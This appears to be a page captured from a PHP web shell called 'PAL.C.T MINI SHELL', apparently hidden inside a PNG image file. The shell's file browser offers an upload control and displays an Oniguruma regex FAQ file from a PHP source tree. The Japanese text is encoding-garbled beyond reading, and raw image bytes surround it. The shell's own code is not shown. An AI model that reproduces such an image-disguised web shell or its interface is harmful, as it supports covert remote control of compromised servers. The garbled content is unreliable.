php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/mbstring/oniguruma/doc/
upload
files >> //opt/php-7.0.1/ext/mbstring/oniguruma/doc/FAQ.ja

FAQ    2007/07/23

1. Ĺޥå

   onig_new()ǡONIG_OPTION_FIND_LONGESTץ
   ѤкĹޥåˤʤ롣


2. åɥ

   åɥդˤˤϡʲ(A)(B)Τɤ餫Ԥʤ
   褤

   (A) Oniguruma Layer

       oniguruma/regint.hΰʲΥޥ롣

       USE_MULTI_THREAD_SYSTEM
       THREAD_ATOMIC_START
       THREAD_ATOMIC_END
       THREAD_PASS

       餫ν/λɬפǤСʲΥޥ롣
       THREAD_SYSTEM_INIT
       THREAD_SYSTEM_END


   (B) Application Layer

       ƱʣΥåɤɽ֥Ȥ롢
       ޤϲ롢ȤԤʤäƤϤʤʤ
       Υ֥Ȥ̤ΤΤǤäƤ⡣

   ⤦ܤϡΥɥȤ
   "åɥդ˴ؤ­"˽񤤤Ƥ


3. CR + LF

   DOSβ(CR(0x0c) + LF(0x0a)Ϣ³)

   regenc.hΡʲʬͭˤ롣

     /* #define USE_CRNL_AS_LINE_TERMINATOR */


4. ᡼󥰥ꥹ

   ֤˴ؤ᡼󥰥ꥹȤ¸ߤʤ

//END



åɥդ˴ؤ­

åɥդˤˤϡ̤ΥץꥱǹԤ
Oniguruma饤֥ǹԤɤ餫֤ȤǤޤ
(OnigurumaѤ¦н褹뤫Onigurumaн褵뤫
ɤ餫ǹԤɬפȤȤǤ)

ˡˤĤơʲ(A)(B)ޤ

ޥåAPIϡ줾ΥץåȥեˤäƤ
ۤʤޤΤǡʲǶŪ˲Ƥ֤Τ
񤯤Ȥ̵Ǥºݤ˻ѤޥåAPIǡ
б뵡ǽΤΤꤷƤ

(A) Onigurumaб

oniguruma/regint.hǰʲΥޥƺƥѥ뤷Ƥ

USE_MULTI_THREAD_SYSTEM

  ñͭˤФ褤Ǥ

THREAD_ATOMIC_START
THREAD_ATOMIC_END

  THREAD_ATOMIC_STARTTHREAD_ATOMIC_ENDǰϤޤ줿
  ץΥʬ򤢤륹åɤ¹ˡ¾
  åɤ˼¹ԸưʤȤݾ㤹Τ
  Ƥ
  (̤̾ꡢϤޤ줿ʬ򥹥åɥȥߥå
   Ȥ̣)

THREAD_PASS

  ¹Ԥåɤ顢¾Υåɤ˼¹ԸѾ
  Τ򤷤Ƥ(ƥ塼ƤӽФ
  Ȥ̣)
  б뵡ǽʤСˤƤ

()
Rubyξˤȡ
RubyϼʬȤȼΥåɵǽƤޤ
εǽѤȡʲΤ褦Ф褤Ȥ
ʤޤ

#define USE_MULTI_THREAD_SYSTEM
#define THREAD_SYSTEM_INIT
#define THREAD_SYSTEM_END
#define THREAD_ATOMIC_START       DEFER_INTS
#define THREAD_ATOMIC_END         ENABLE_INTS
#define THREAD_PASS               rb_thread_schedule()

Rubyξ硢޳ߤѤơåɤڤؤ
ԤäƤޤDEFER_INTSϳߥϥɥμ¹ԤŪ
ߤ뤿ΥޥǤENABLE_INTSޥdzߥϥɥ
μ¹ԤĤޤ
ˤäơTHREAD_ATOMIC_STARTTHREAD_ATOMIC_END
ǰϤޤ줿ʬμ¹ˡ¾Υåɤ˼¹Ըưޤ


(B) ץꥱб

ʲݾ㤹褦ˡåɤμ¹Ԥ椷Ƥ

ƱʣΥåɤɽ֥Ȥ롢ޤϲ롢Ȥ
ԤʤäƤϤʤʤΥ֥Ȥ̤ΤΤǤäƤ⡣

onig_new(), onig_new_deluxe(), onig_free()Τɤ줫θƤӽФ
ʣΥåɤƱ˼¹Ԥ뤳Ȥ򤱤ƤƱǤʤ̤ˤޤޤ

ϲɬפʤΤȤȡɽ֥Ȥ
ǡǶ̤˻Ȥơ֥뤬ޤ
Υơ֥ФƤΥǡϿʣΥåɤǾͤ
۾ʾ֤ˤʤʤɬפǤ

// END
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`